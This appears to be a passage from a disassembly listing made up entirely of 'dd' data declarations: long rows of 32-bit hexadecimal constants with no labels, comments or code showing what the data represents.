		dd 9A4AFDD8h, 716CE2A3h, 0F245CC29h, 36501E59h,	404691E5h
		dd 10291231h, 63C96522h, 0B8DEC7B7h, 9E727E4Eh,	230A5DEEh
		dd 0B4DFF30Ah, 676100C0h, 39991EA6h, 130FC93Ah,	6755E0DEh
		dd 1369AEF6h, 0E869DB24h, 5217E1FFh, 0A94D2A5Ah, 2BEE1F9Bh
		dd 11C19142h, 0F3A8FC6Ch, 79DDE1C6h, 741D96B6h,	3F02DAh
		dd 8877B61Eh, 9B8D4074h, 0CEA15DCFh, 2D501E35h,	0CDA2FD1Ah
		dd 3E9EE21Ah, 0A34CC92Eh, 4257BFC0h, 0A3A2C226h, 93AD506Ch
		dd 95258FF1h, 56DA16B5h, 7CB027Dh, 475DC76h, 0F272E3C3h
		dd 19BC8F28h, 0FDDFA927h, 5DADFA96h, 62F903FCh,	22203CDBh
		dd 0DEE4862Eh, 0F54A152Eh, 70B71982h, 0D28D003Fh, 0FC011B0Bh
		dd 3DE717CDh, 0C580AAEh, 0E5589C68h, 84D66836h,	8C2B106Fh
		dd 117BC71Fh, 2E756C3Ah, 89AAA5ECh, 0ED755345h,	217697F0h
		dd 61D9FFE9h, 42D71179h, 270E9ACEh, 3E4BA113h, 0B57DAF0Ch
		dd 903F43Bh, 3610645Eh,	0A25E2C0Fh, 54F31149h, 673696E4h
		dd 0CEA358EDh, 0DBB2BA06h, 4B433387h, 0E6161796h, 11F6F93Ch
		dd 6D45FE48h, 1CE6E4ADh, 9CDAAB55h, 97C404C5h, 0F9499108h
		dd 5417AEA1h, 4F0C8A59h, 0B3E9A7D5h, 1FEE5403h,	0E624B17Ch
		dd 78BB1FBAh, 314162BEh, 4D3EDD92h, 1ADD55B5h, 92DA8757h
		dd 4BB2149Eh, 1CD91077h, 9F888FD5h, 0FCBA8EAAh,	120A4E2Fh
		dd 9AB03176h, 0C21FCF27h, 0A73C95ECh, 26C09BDEh, 0CAA690E7h
		dd 7415467h, 275FB6EFh,	465A6C87h, 0A36C775h, 3CD08F66h
		dd 86C92D90h, 8D9E40FFh, 4DD3CDBh, 767A733Bh, 7768E2FBh
		dd 5BD642F6h, 6FA4CC5Fh, 0BAC746B3h, 0B36B73BFh, 330EC6DCh
		dd 630BA08h, 0F498022h,	7CAD3E97h, 4C21615Dh, 0B0A2EE62h
		dd 0D1783588h, 0B9C7999Bh, 6B9326CBh, 0F1C333BBh, 0B9D51354h
		dd 0D8409A61h, 80216E02h, 0F23D0C22h, 0ACA4C42h, 0F8E13A67h
		dd 5BFA97ACh, 3BE7999Dh, 0D57DC1BBh, 40ECD360h,	178D5111h
		dd 4299D078h, 7511D64h,	0CF1A941Eh, 114AC5D0h, 7B9EC3D4h
		dd 1006C48Bh, 0A6DD2B13h, 0FDE235BCh, 41E9213Ah, 40A6F2A9h
		dd 0FF1B51CFh, 7750D70Dh, 0BD0F1E1Fh, 766CF12Fh, 664274BCh
		dd 0C43B637Ah, 4276CEDAh, 3F39D3C0h, 0DB2B95A1h, 0C10237ADh
		dd 0C5AF9F4Fh, 0BA1B4330h, 9E8CDD1h, 6AD77DD6h,	8BA84039h
		dd 1F02EA27h, 0A9F3A6C1h, 1137C4BBh, 2B2D6D0Fh,	7DF96865h
		dd 19096739h, 690C1F8Bh, 0D08F038Ah, 0A0F134CAh, 0E77F4720h
		dd 0E23098B7h, 0FBA5908Ch, 0E26B8324h, 81459268h, 0D658BAFAh
		dd 54FE70B7h, 60D97D79h, 2E850C33h, 8C1CFB7Bh, 2671DAE2h
		dd 0BEEA9EE2h, 52B19422h, 0F27690B1h, 1F65419h,	364FB853h
		dd 683BDE0h, 0E46ECA08h
		dd 0BF951CE2h, 0D0977DD9h, 24A3F524h, 0BD8568B0h, 0E4963879h
		dd 1B5E579Dh, 4930A6AEh, 3D12A1A8h, 0FAD82485h,	5EDE1DB8h
		dd 5A870F79h, 37CBAFC7h, 0F82C9563h, 7FAC6CD8h,	0D6AC7D61h
		dd 7174C896h, 0E2E1EEFBh, 75CF7B38h, 91AAD5E8h,	0D78D9582h
		dd 0E4F2FFEDh, 3A738296h, 0EF0F991Ch, 0ECA7787Ah, 2673A3FBh
		dd 73F08AD1h, 0D4046D4Eh, 0FD654701h, 6B460E9Ah, 34A8AF2Fh
		dd 7AE0FFC5h, 0A95ECBE5h, 5172D889h, 5C91968Ah,	0F0D6DA5Fh
		dd 3D1A385h, 0CA9E67B8h, 335F3DE9h, 46AD8AB6h, 6B60E7E6h
		dd 0E90A064Fh, 0D8ECAB67h, 47A554A2h, 9254D1D6h, 0DA9471DBh
		dd 8CF4EF53h, 3CC3C203h, 7BD40761h, 0B8BE8898h,	1742B77h
		dd 676E4E37h, 0CC6B11A8h, 0D381B7DDh, 0D96E3FF7h, 431D9485h
		dd 62A37F89h, 0F404F05Bh, 6FA481E8h, 613E3E9Bh,	5EBFDEF5h
		dd 0F04DCB1Bh, 0B5864AE2h, 19115B2Eh, 10F9630Ah, 0DA8124BDh
		dd 0CA13490Fh, 0ADFFFA86h, 8323B3CFh, 5E609D37h, 89F6F81h
		dd 1DAF674Ch, 1B824237h, 904CBD32h, 0DF8810CEh,	0F6FA0B56h
		dd 0CAF7615Dh, 1111BFB7h, 0D8CB8984h, 2DB2A339h, 0FF8F0967h
		dd 0D916332Fh, 963B1873h, 115337D5h, 67BD836Bh,	8A08226Eh
		dd 6D4ACC64h, 70F8C0D7h, 18B6E550h, 35ED0FDh, 0FE9BAFB6h
		dd 19BD6691h, 0D960CEB4h, 2266C165h, 0BC4313Dh,	0F525E79Eh
		dd 0C9F23995h, 1A42FDFh, 11A83D85h, 479B6F27h, 0A029C3F7h
		dd 7EBB2A72h, 1F3B121Fh, 39C94268h, 666B531Ch, 0F9BEC356h
		dd 99FD582h, 71D3ACB6h,	13929E64h, 333CF8FCh, 4C0432ABh
		dd 918ACECDh, 3F38B3FEh, 34114776h, 0D281EB06h,	0B4FF4F97h
		dd 9D5E7731h, 1F767BCFh, 0C49354F0h, 589AA942h,	7FFF9F7Ah
		dd 0C8862F13h, 6DF7DF24h, 534CFCC6h, 0C6841763h, 4113FF78h
		dd 1E49B959h, 98FF1E1h,	0B3BB90DBh, 0F92739C8h,	25DBFDFCh
		dd 305DF1h, 13DED7C7h, 4088865h, 440E8B85h, 0D3A0DD4h
		dd 64332B1Bh, 0AEF34D85h, 99FC5CB3h, 62E38862h,	0A62B272Ah
		dd 51F53471h, 58418EA5h, 9DE5101h, 0B9604569h, 10AD470h
		dd 6AE11B14h, 905584F3h, 18AF1315h, 0C49E2947h,	5F4A3664h
		dd 4FA33B1Dh, 14E88864h, 1C6EFBDDh, 0D18A4C38h,	3AC50968h
		dd 745FBD36h, 0D70CB982h, 0A8836814h, 0CF9AAA76h, 0D5D03C63h
		dd 445C9B39h, 0F0B6150Bh, 2C689E0Fh, 12F4DE80h,	7CEA0D3Dh
		dd 0E558D90Fh, 0CC633BC9h, 778A8682h, 8AB6C515h, 0DC86A910h
		dd 9DC8BBB9h, 0E8FA03D6h, 4B3FD201h, 9E37B8C2h,	0A50DC299h
		dd 0EC059DF5h, 0D809D1EAh, 0D6624F3Ah, 535F8A60h, 7A384500h
		dd 0C4EB7B90h, 4DA2A88Ah, 778F5E0Fh, 2FF61B14h,	5BA9ADBCh
		dd 38B4B51h, 3300DD35h,	0E5573D0Fh, 762CC2EDh, 24B0B8FCh
		dd 74F748E5h, 9C6CCFBDh, 6CA84096h, 0C3B5B299h,	0AA58F87Ch
		dd 3392DFF4h, 0D86F369Eh, 0CC5A4A7Fh, 2EA1A7C4h, 0ACE3E97Dh
		dd 3A5F10F5h, 51FE8BAEh, 71EE39EAh, 0B5ECB0EEh,	23D42B8Eh
		dd 0CA0C6700h, 7BA1996Ch, 0B86A5AEFh, 0C182B7C7h, 0BF322F44h
		dd 0D96DCC6Ch, 37BF0342h, 8EB74F93h, 0E539F82Ch, 474680A4h
		dd 0B9007039h, 500AC27Dh, 591627Fh, 83483BBCh, 8EB8D5E0h
		dd 0C3731E7Ch, 4BED96CAh, 0F5C8284Eh, 37C59068h, 18F61A19h
		dd 32F822F4h, 32E5064Eh, 2431A8A6h, 4C4A5AFDh, 0D91F4C27h
		dd 0A748C560h, 760A3670h, 71066E90h, 0EE39B9D8h, 0B14BBE7Eh
		dd 7364AE72h, 0A83DE740h, 0DB620585h, 92C79190h, 90B964C9h
		dd 0AD1F4D3Eh, 260F986Ch, 11CDB623h, 72F68149h,	1DB337F8h
		dd 0BD0E2962h, 6182C9EDh, 0ABD13F5Dh, 7200D70h,	9A0BFCDBh
		dd 659C073Bh, 0D6ED88C5h, 44E289F2h, 2B577599h,	0B0BFEB6h
		dd 4FD1C2Bh, 66EFA622h,	0FFDDC2ECh, 0A02DEE2Fh,	937787Fh
		dd 38218221h, 57E94535h, 6F86A816h, 2D30D39Ch, 34142F26h
		dd 5621ED02h, 70FF55BFh, 77C81176h, 866CC8FCh, 0D0673F88h
		dd 19949135h, 6285A25Bh, 0C720AE0Bh, 1F972060h,	0FE31588Fh
		dd 7D28340Ch, 8E000F0Fh, 4A9624CAh, 73EE0F00h, 59D1E42Bh
		dd 92DF1732h, 85B3FFB9h, 0D568D3FEh, 0BFCD29CCh, 97C902D1h
		dd 8017023Dh, 89482A89h, 0D2D4EC25h, 991D7674h,	12D05F69h
		dd 48DF4210h, 0A6D0DDCh, 1817B61Ah, 0B737EF39h,	43397120h
		dd 429E8E0Eh, 0FA749DCAh, 9EA3638Ch, 795E3AFCh,	0EDF3B431h
		dd 0DD9EAE2Eh, 83E6E83Eh, 0A6A5115h, 9638F425h,	43D66D76h
		dd 3F1B575h, 0C65B299Bh, 0BD3CE641h, 13D8BB8h, 23274591h
		dd 2FF3ADD5h, 73355C59h, 8BAF7DF0h, 783F31F1h, 27B744B4h
		dd 271045F4h, 0E7518592h, 51A1004Dh, 96423CC8h,	91A8394Dh
		dd 637BA69Fh, 81CAA30Dh, 63C46C4Dh, 0F53BFD13h,	16B31E66h
		dd 8CA95139h, 4BD30E0Ah, 0BA0CE988h, 42CA2134h,	17E6AB51h
		dd 0D78C5B9Dh, 2B51AE1Dh, 85A43FFFh, 2CB9EE42h,	1EEC9D9Dh
		dd 5392BA05h, 0E3769936h, 5CCE8984h, 0BAA4C2B3h, 0EDB61075h
		dd 0C56873B7h, 0A61600DCh, 7399EF2h, 0DE4669D0h, 814571B8h
		dd 2D7BE343h, 567AABF9h, 44D931C4h, 0CCBF0BA5h,	0F9337B39h
		dd 49FA1858h, 0CC0FE3EEh, 1BED51Ch, 4F0ADC4Dh, 0DEAE6675h
		dd 8D6B7BA3h, 715B62B9h, 17220F8h, 0CF2C8D2Fh, 0B19E7AC2h
		dd 77821DD9h, 0E40AE8B4h, 18780B43h, 0C9B97F6Ch, 4E702A20h
		dd 0FAD6A8BFh, 0C9CACADEh, 0E9EA8B2h, 9A86DA6Bh, 0EFED0843h
		dd 0DEFAFB85h, 95FD6EB0h, 205BDD27h, 22CEB9E0h,	0E0A0DAD4h
		dd 1F9C6951h, 69EFE090h, 691D9225h, 0CE7EC73Bh,	570F2AC3h
		dd 0C2DBA1B5h, 0D69043BBh, 73F368ABh, 954B6489h, 82A592B2h
		dd 8CA74EE8h, 54FA4643h, 3BB2DE70h, 0B0F20D79h,	3B3C9B6h
		dd 0C034D69Dh, 0C950A821h, 0EDC31BC1h, 9D07DF6Bh, 749132D7h
		dd 0D83B663h, 80AD3873h, 5B088590h, 0F5143116h,	489238D0h
		dd 1629F391h, 0AA5AE3BEh, 9B14632Ah, 806B04FDh,	25C3B7F6h
		dd 0F219AAE2h, 9B37A72Bh, 0BC02A3C5h, 0CC8A9EEEh, 29E66ED9h
		dd 0BE07F955h, 335A70B7h, 0E5B7AEB5h, 117381C9h, 12ADDCEEh
		dd 0A08D7D1Dh, 133E9DE9h, 0C8126B1Bh, 3B332FE9h, 0F2EE7F1Bh
		dd 83760462h, 0ADCC1D94h, 54C5B249h, 0A8C5DA5Ah, 0B1181FACh
		dd 0FCAA43D1h, 39B522E7h, 4E1BF093h, 0B294EFF0h, 142D366Fh
		dd 6AF6787h, 0DCA2A74Ah, 876BE727h, 42054FD9h, 0EC8AA5A7h
		dd 0BF70AA48h, 0FDD4C7A8h, 90D09CB1h, 0A3506BEEh, 0B922B850h
		dd 3E5D6948h, 8FD28C69h, 0E5FF7AD9h, 0EC8EDD06h, 0C2598388h
		dd 0C2F72EA6h, 0FD3F4ED3h, 54CA1298h, 0BEC7CC44h, 526E0D5Fh
		dd 112FE3A6h, 0A59B4557h, 0ABF7100Ch, 6EF74877h, 9C2AE103h
		dd 0EEA6BA26h, 0F78B506Bh, 933F74FBh, 0F268335h, 0C6037C0Ah
		dd 2885F7EFh, 0C20DE7ECh, 92B5CFCCh, 23DB7D3Eh,	0D55FF636h
		dd 1AAC6E7Fh, 3F47EE78h, 0E5609A38h, 0BD59251Ah, 7FA1F527h
		dd 4DF86B96h, 4AF838BEh, 0AD5748DAh, 87D85619h,	0B7188EBBh
		dd 0C0E9C8B2h, 85FA5C14h, 0BE7BEB48h, 49C2B380h, 0FD97821Bh
		dd 0ADDDECA0h, 3E70E14Eh, 0CBD01BD1h, 469CB33Eh, 0A3515BFBh
		dd 0AA8355BDh, 58938764h, 0C0F924D5h, 0F27BCFDh, 0A276165Bh
		dd 58039543h, 4FC6A28Eh, 6C057104h, 9151FFD1h, 7575B82Ch
		dd 7755613Bh, 7CEA5F8Ch, 0E75D6632h, 0F8F772C6h, 0E6CEB23Ch
		dd 52D83EB6h, 0CA22CEABh, 0E954C3B1h, 0B1D5E1B0h, 5D43444Dh
		dd 4E851DE9h, 14D7013Dh, 0BCA432C8h, 0E8FB0398h, 97018269h
		dd 7F603E5Ch, 0CDBD3BA2h
		dd 0CE279BABh, 12995C8h, 3D3269B8h, 0D70E11F5h,	80ED9DCCh
		dd 272DAD26h, 8468728Bh, 4268A108h, 207CBC38h, 60CEFB3Bh
		dd 2C740E5h, 4EB2BD5Bh,	0B79D4139h, 389D73E0h, 0A68607ADh
		dd 0A426F9ACh, 0E09A6F73h, 0C2A2738Dh, 79EB1BACh, 0AAD4EBDAh
		dd 0B683BE8Ch, 392277AAh, 0CD204C3h, 76FEDF1Fh,	9F1A1384h
		dd 9D62E83h, 0BB961DBh,	0A6CC96Eh, 1CDCF3B8h, 0D70B3FA1h
		dd 0F2684760h, 0B616335Fh, 0AA88D961h, 586ACE42h, 2EA9B3A8h
		dd 0F273B352h, 42D988EFh, 7DE6C7E4h, 19713EA9h,	212A62D9h
		dd 0DD1A20ACh, 36A20E1Dh, 0F496F437h, 0F7210B94h, 2E2F5BDh
		dd 0BB423504h, 51B641A8h, 65EB9F43h, 2E0DFC27h,	5BE95EDBh
		dd 522E53Fh, 0A09322B3h, 203856B4h, 25B1BB5Ch, 5EAD8B3Dh
		dd 0C7F1E74Eh, 53EBA582h, 7C5A08Eh, 1B8BAC15h, 0E9E4646Fh
		dd 0BBFD026Ch, 13A77B32h, 0DE28723Ah, 0A2533D88h, 92DC3A62h
		dd 3D555E57h, 0A9C79EB4h, 910B2E4Fh, 0D1F556B2h, 0A661D0D5h
		dd 0AA7C1E69h, 1EB5A744h, 0C05AAEC7h, 41A21DA3h, 0C48CE867h
		dd 8FF7A0A6h, 0EC1AFBE6h, 5B3EC56Ah, 0C5AF7757h, 0F458899h
		dd 6BA21EABh, 8F663C90h, 4258E47Eh, 2C2E22Dh, 0E7C8BCFBh
		dd 3AC606CDh, 0F49AE1AEh, 0D9C329CDh, 0A0AE460Fh, 68C098Ah
		dd 0B4C0542Ch, 74FCCDE5h, 521443BBh, 16F13B7Ch,	0E900FE79h
		dd 0CCEF97E1h, 0FC4275D1h, 6DBCEA2Fh, 10AF1B02h, 485DE804h
		dd 0C7B48F25h, 104A486Dh, 20D01C5h, 94552D1Ch, 0D3FC3C58h
		dd 631D7CEEh, 3F9C213Ch, 482D6A56h, 70ADE2D7h, 6BC66472h
		dd 0C464B1BEh, 579A1CFFh, 0B8D3DDBFh, 0BA6AE8C9h, 0E5B3337h
		dd 2DEA53F5h, 31A2E1B4h, 31FB91ACh, 41E8E2E4h, 172E986Ch
		dd 2A0E7719h, 8A7DAD7Fh, 8F19A4CFh, 1CADBEB1h, 4A7FC69h
		dd 4247D88Dh, 0A606601h, 621C400Eh, 0A372B5ABh,	0AE83527h
		dd 2BC6A16Ch, 7A02DA71h, 37828F88h, 1690F004h, 958BD95Fh
		dd 0E7EC9061h, 9865294Bh, 46EFEF86h, 0E8BCD959h, 0C36FACA3h
		dd 4B52D965h, 0D4E0EC28h, 0FCB52408h, 6E60038h,	749D1210h
		dd 278DD296h, 6C7EF4C2h, 0D9574345h, 1D0A7791h,	44653507h
		dd 7542C1Fh, 7208D789h,	2973119Eh, 3F870B78h, 1EEA18F2h
		dd 0E78E1B25h, 77E01D99h, 7CBBEBBFh, 0FDD4FD47h, 0C6F1A1D5h
		dd 4FBD06C7h, 238B7C4Fh, 0C3B865Fh, 2C4C5FC8h, 613EF118h
		dd 5C20F446h, 5A0047ADh, 15F3CA14h, 48F90FE9h, 31F720E1h
		dd 2D0B7E57h, 3373055Eh, 47679553h, 4CFCD793h, 1B1D27B8h
		dd 0BE6B8158h, 49636E0Ah, 0C76F6B8Ah, 49DF8D38h, 0DD1E5341h
		dd 6C33EBF4h, 0AB8CF70Eh, 164D9Ch, 1E358CA8h, 0C86A7F9Fh
		dd 0D06D4987h, 0D7294C1Fh, 92D28FDEh, 7B73429Eh, 7A0A6160h
		dd 59BF25AAh, 66FF4D1Ah, 41251F45h, 508285ADh, 0CA00359Bh
		dd 95D19978h, 0E4E171h,	827C67CEh, 75C8588Ch, 6FF23CE6h
		dd 0DD6FE481h, 0D3B8BE9Ch, 75E20A33h, 7A27BF1Ah, 0C0F93677h
		dd 9F86CB9Ch, 0CB02FAC9h, 81EE6772h, 155AB5E3h,	37A17667h
		dd 22E77D30h, 78CE061Ah, 0FBFB7819h, 0B8C16325h, 0DE0BF3A9h
		dd 42DB06B1h, 0D2951539h, 0DA86B41h, 0D5248FC4h, 450BD83Fh
		dd 76CD1DEDh, 68B26F58h, 1252754Ch, 42629D61h, 126093CCh
		dd 8DDA9F82h, 220FF714h, 0E3009683h, 96A7F7FDh,	74E823Ah
		dd 8C31FE6h, 0F10338E7h, 0B9C3835h, 4963A683h, 48090CA3h
		dd 9C3B7D5Fh, 96B29DAEh, 9782DBCBh, 8C8454ECh, 0D4A2FE5Bh
		dd 0D306FEE9h, 1CD25819h, 3A88969Dh, 0EC6C8573h, 0EEBB33AFh
		dd 0B85325Eh, 218BFD02h, 40381787h, 119E3B96h, 2C83021Bh
		dd 4EF3719Ah, 7AA96C03h, 5F5D388Eh, 33F55DBEh, 309D7404h
		dd 0DD685043h, 0BBCC02FBh, 9393EE9Ah, 0F5C76D8Ch, 8E358BC0h
		dd 6A782613h, 81A2B01Ch, 0EF5B1C73h, 0A2CF1CA8h, 900CAC5Ah
		dd 48AF0BE2h, 0F96C18B1h, 0A2208841h, 0FB63C5EBh, 2F37C840h
		dd 59475DCEh, 0E69530B2h, 0FD7D766Ch, 7066C409h, 71F0152Dh
		dd 83E24A12h, 6278A185h, 552E8C74h, 840E3B16h, 29A01DDBh
		dd 5D7AA17Dh, 73149E46h, 750B71FCh, 90DB6D13h, 6CD92B59h
		dd 0F6A8D426h, 0BA44F05Fh, 0CAF250EEh, 9DB0F0CCh, 94B93222h
		dd 8A0F54F6h, 29E6A34Ah, 467406F8h, 1A59F2DAh, 1F277CCFh
		dd 253A7F1h, 365FF46Dh,	0A4CFDDE7h, 7CDA9F9Fh, 20BCFEA9h
		dd 9B6C8547h, 0FC7FEDC4h, 80D0AB0Eh, 63D133A4h,	52AA9BAh
		dd 0F894D6D4h, 14272D9Dh, 0D9C916A6h, 3940E244h, 4C60F969h
		dd 0C107ABD9h, 690581FEh, 0F28723ACh, 0FDC41B1Dh, 7701D33Dh
		dd 904C8DF5h, 8E3FAD6Dh, 94FA84DDh, 0B74D32E4h,	45656952h
		dd 0F6C7B9E9h, 0A3C72777h, 0F153B286h, 2DBB8C7Ch, 43D04551h
		dd 0C274E37Fh, 508F13D3h, 0D15FF7B1h, 35620E05h, 901F337Fh
		dd 0D61845F0h, 7A494E55h, 0A667931Ch, 5622925Ch, 0C9E2CAA6h
		dd 74BBF63Fh, 216DB5FBh, 4ECDBA4Fh, 9CAD25B8h, 4452C5AEh
		dd 6F82EAD9h, 84EDACB3h, 3786226Bh, 1D5D1297h, 0AAEE9A9Ch
		dd 34B65724h, 32470EC5h, 518E8B2Ch, 0C5E5381Dh,	0BE097534h
		dd 0AE556A66h, 60380736h, 9A3235A7h, 779E3F4Eh,	0DBFDD9Eh
		dd 0AD14E35Fh, 88F8D2ADh, 13575BA3h, 0BA538AC6h, 0C286DF91h
		dd 4370D1B5h, 0BFECE89Eh, 954E1Fh, 0E4144918h, 968968B5h
		dd 0F7E6A12Eh, 92827F9Bh, 3EC70CF2h, 7590D308h,	0F1ACCE6Dh
		dd 3F3C8D82h, 0A2B6DBD6h, 0C3B50DF9h, 0E8F18E41h, 8998C490h
		dd 3E2BAC0Eh, 225D85C4h, 7BFE0816h, 42946A9Bh, 7AE6D1E9h
		dd 52D8AD65h, 65AE95B4h, 0A14B9C57h, 5C358828h,	218B125Ch
		dd 95DD211Eh, 0DF1AC5F5h, 15B05BDCh, 97C32B1Bh,	5E21201Ch
		dd 0A097FB6Bh, 0E5B51D59h, 0E85BEC1Dh, 0B41DC91Eh, 2AE1597Eh
		dd 0C14CC508h, 722DBAFBh, 2D4B371Bh, 0A79FEFEEh, 28F09E77h
		dd 5BB211FFh, 997E7C71h, 0CFC799D0h, 434D3FB9h,	0B5E70092h
		dd 7784F40Ch, 6CC211DBh, 414947DCh, 7E22A262h, 4350EF73h
		dd 91CEDD3Ch, 3CE80197h, 0FCBF7CF2h, 951DC035h,	7E5C64F8h
		dd 1A19C894h, 0B7EF31Fh, 0AD60AC97h, 5D335D82h,	8AA9C22Dh
		dd 8858E77Eh, 3A343FFEh, 601E7E32h, 79F2016Dh, 0FB3D938Dh
		dd 31A3E6Eh, 4F0300B1h,	0F6F2BC7Ch, 0FAABBE7Dh,	0B1E7B35h
		dd 0C5D87DE5h, 479252E4h, 8FB53DA1h, 0FFCD5DD3h, 532A59E8h
		dd 0AB88397Eh, 0BD2D206Ah, 57851DA4h, 0FAEA537Bh, 0FDFB86E3h
		dd 0D76E09DCh, 0CD072244h, 4E7258B4h, 7793DF4Bh, 4F5300CAh
		dd 68FDB07Ah, 7179AEAAh, 0A5E0352Fh, 9CC84759h,	2315F1FAh
		dd 21AC485Dh, 88E7F416h, 0DFA365DEh, 119DBB4Ch,	99218251h
		dd 918BD088h, 0CBD33DD4h, 906DC046h, 0D4109D17h, 5DEA9A6Eh
		dd 10B62F64h, 1CDF341Fh, 5DBF80Ah, 40784441h, 0EF718EFAh
		dd 0B64DE241h, 75246A9Fh, 0DCDBE9AFh, 0F53FA340h, 9AF0C560h
		dd 0C2389C95h, 7E054E3Ah, 0BB3886FDh, 46C16CFBh, 0CBC2E347h
		dd 1EC6CC13h, 5FA54B21h, 66BEA5B7h, 0E56A7BDCh,	231526ECh
		dd 906CAB1Dh, 6A558E9Ah, 0A4CD9127h, 0FF8288h, 0F3ED7A30h
		dd 297950EAh, 0D2C933D9h, 0CB1AB675h, 8565E836h, 92891E7Eh
		dd 81F863E8h, 0BA514A6Fh, 2A21AC6Ch, 0DD1D6D5Ah, 77222B3h
		dd 77A03D28h, 7633B744h, 63C55B45h, 8650CAB0h, 0A3108821h
		dd 48E736C5h, 4A3DEF1h,	0BE041F40h, 0B729DA1Eh,	0FF1A114Bh
		dd 4611F64Eh, 0FB3836DCh, 1D66FDE5h, 0AC81EA06h, 91CF7FCBh
		dd 0B1BE57B0h, 51AFA96Eh
		dd 0D4F7CBB3h, 8C30DA43h, 4C131739h, 3C5CB76Eh,	0E6BAF22Fh
		dd 5364C99Bh, 63CDCECBh, 0A058A864h, 78A44F00h,	47C8D3F1h
		dd 2036F417h, 769D6349h, 39A07F38h, 0B3BFFF4Ah,	5BED075Ah
		dd 0A11571CEh, 0CB2D772h, 50718FA4h, 81A4F68Dh,	7D520D4h
		dd 0F32BA1AEh, 87CBF109h, 0AB2CC723h, 255A6876h, 0FA5FC7ABh
		dd 8E5C9108h, 0D61FFFB4h, 0B609779h, 0F0225EC0h, 5FD8F636h
		dd 0D4AB2C04h, 35F0DF38h, 179C61BDh, 0C8CD9997h, 0FD13176Fh
		dd 53580B1Dh, 2F5700C3h, 848C25D3h, 176F1313h, 1C8984ECh
		dd 0AD965C7Bh, 4515991Eh, 260BC95Fh, 0D1D4F281h, 0B1D84999h
		dd 2259FFCEh, 0BE55BADAh, 0F085DB6Ah, 75302774h, 0CE978EC4h
		dd 0DDD02F3Bh, 5ACC5A1Ah, 38AE5B2Ch, 1A2628D7h,	59599F4Ah
		dd 0DDF9606Fh, 2E1B902Fh, 8D7CCA2Fh, 260F7835h,	50BEF3F9h
		dd 6C5AEBCAh, 24F7EE81h, 0DF28B371h, 27EF85ABh,	7A10B954h
		dd 5CE1FFADh, 744A2F92h, 0CF19CF62h, 5E95A8F4h,	8BA68693h
		dd 7AD5A0D3h, 551C965Bh, 4E5C9D1h, 3DEFE9E8h, 46F42622h
		dd 0CC10E5C5h, 0F03B02ECh, 0A674BC85h, 8966046Eh, 45BE4214h
		dd 141BFE09h, 0DF62538Fh, 3E4AC98Dh, 0F30FA1B7h, 8FB245F3h
		dd 64286A17h, 0BE9409D5h, 9CB16162h, 5FA7F4F6h,	0BC046111h
		dd 0D84E3D01h, 1026E399h, 6D1BF70Ch, 744FBC84h,	4E53FC74h
		dd 1050277Eh, 0A89CF1E9h, 99B30609h, 0BF001FCAh, 0C9E15E9Fh
		dd 6508CB01h, 51562A9Ch, 0C5BC2F46h, 0BF5BEA25h, 0A47328C7h
		dd 0ED5E2414h, 7B056EDh, 10AB4DF1h, 28320685h, 2F326543h
		dd 0FABAB130h, 6AE68766h, 3E75C3C1h, 0B91034BCh, 475F6E00h
		dd 2803B282h, 219DA0EEh, 230FE70Dh, 5BE72245h, 0E668FD66h
		dd 0B76F3C29h, 5D862529h, 0AAF2D67Ah, 20AE6106h, 0AE88B016h
		dd 2F22D39Ah, 248C60BBh, 88A9A7FFh, 0FF8D23FAh,	5912FB88h
		dd 473FB0ADh, 210291E3h, 5EA3D4F9h, 27AFA719h, 0BBF537C7h
		dd 327697DAh, 0A85B06DFh, 33884FCAh, 0A5FAF06Dh, 0B47E9509h
		dd 0A4246742h, 0B20C0257h, 8AA341BEh, 0F304DD55h, 79E29B74h
		dd 0AB0A9ED9h, 61257680h, 0EBA56AE4h, 32E98C45h, 62B31FFh
		dd 147A3D62h, 0D8BAA499h, 0ABFA7199h, 181A77C6h, 29545F69h
		dd 0F0772279h, 7C410B40h, 0A4D5F84Bh, 5C35BF44h, 79FA9F83h
		dd 0B51D40Dh, 8B29C340h, 0DB924890h, 54C48D17h,	10EAAB32h
		dd 0EFD608B5h, 78AC9784h, 471293A3h, 1496971Bh,	0C381D54Fh
		dd 0E25B2A50h, 1CE1D201h, 98860E9h, 3D27C351h, 150A1522h
		dd 0EB430010h, 98DF5CBAh, 5362F681h, 29700A79h,	7C94A9F2h
		dd 9E93CE8Ah, 0CE5D4028h, 0B680DAB0h, 0F01359DEh, 131E91F4h
		dd 85952F7h, 0A50A3FE2h, 748DDC86h, 5D8039D9h, 83BFAB8Ah
		dd 0EC4E8E14h, 0F77A8A62h, 0CF37A584h, 0D39CD120h, 89B6C897h
		dd 0F3B90300h, 5ACE9A76h, 0A63D6EF8h, 0B202D035h, 0E4AE80CEh
		dd 0EC7D8BC2h, 3B01C461h, 5EFDB67Eh, 43C0BBD2h,	2FD6176Ch
		dd 0F1E9FB48h, 2A7D847Dh, 0A715A6E8h, 0AD508796h, 21B54C9Eh
		dd 7441EF83h, 14346F89h, 6C739EF0h, 0E497E92Bh,	49E5E7BCh
		dd 1272AF4Dh, 65C401C8h, 6C75D367h, 0B000F305h,	0A59757D1h
		dd 0F7079EB1h, 0B3E7B7A9h, 0DC9A94D3h, 0FA99E5FEh, 3AC51D54h
		dd 0EB059CB2h, 0B5CC996Ah, 1E2B701Eh, 9BCF9530h, 2EDD5D46h
		dd 700AF6BAh, 6BFE15ECh, 73E44EFBh, 78FD558Bh, 91401AB2h
		dd 4515C7F0h, 0FFAF6F34h, 8D9433DBh, 0D3E97852h, 2781A767h
		dd 8EFD5DC3h, 0FA1AAB82h, 9A38DF66h, 34FAF9AEh,	57869849h
		dd 17F9FD17h, 64520B8Dh, 0C7C74B22h, 292B882Ch,	92FC38CCh
		dd 7E7D3D8h, 11C0F618h,	3A91A665h, 0E1600Bh, 0A7EFBA10h
		dd 8ED5C41h, 8F944880h,	884DD235h, 3D07D0DDh, 7A588B6Fh
		dd 890B1E2Dh, 0A65D1452h, 62268B91h, 0B6B8A2Ah,	4F8A401Fh
		dd 7C1CE178h, 0C52B8D07h, 0AFC9E2Dh, 9411CA47h,	973E2BEFh
		dd 0FBCC1D69h, 2EBB9776h, 0B63C99D5h, 0D764FC10h, 0BD5808A0h
		dd 0B7C5D2B6h, 1AF83048h, 5AE32E8Dh, 7AB5864Bh,	3CB35FAFh
		dd 0D588944Ch, 4D05A8F1h, 0D37E346h, 5F9FE8E0h,	72D6F670h
		dd 16D0F6C9h, 0C1DC06AEh, 0E1C52764h, 7378BB07h, 9C0EBB4Ah
		dd 3FC71FE2h, 0D89F8881h, 0F34C3130h, 9E60A60Ch, 0B3E0DA84h
		dd 3E4EB607h, 6EFC88D5h, 389597B9h, 0E4297896h,	571A7E3Fh
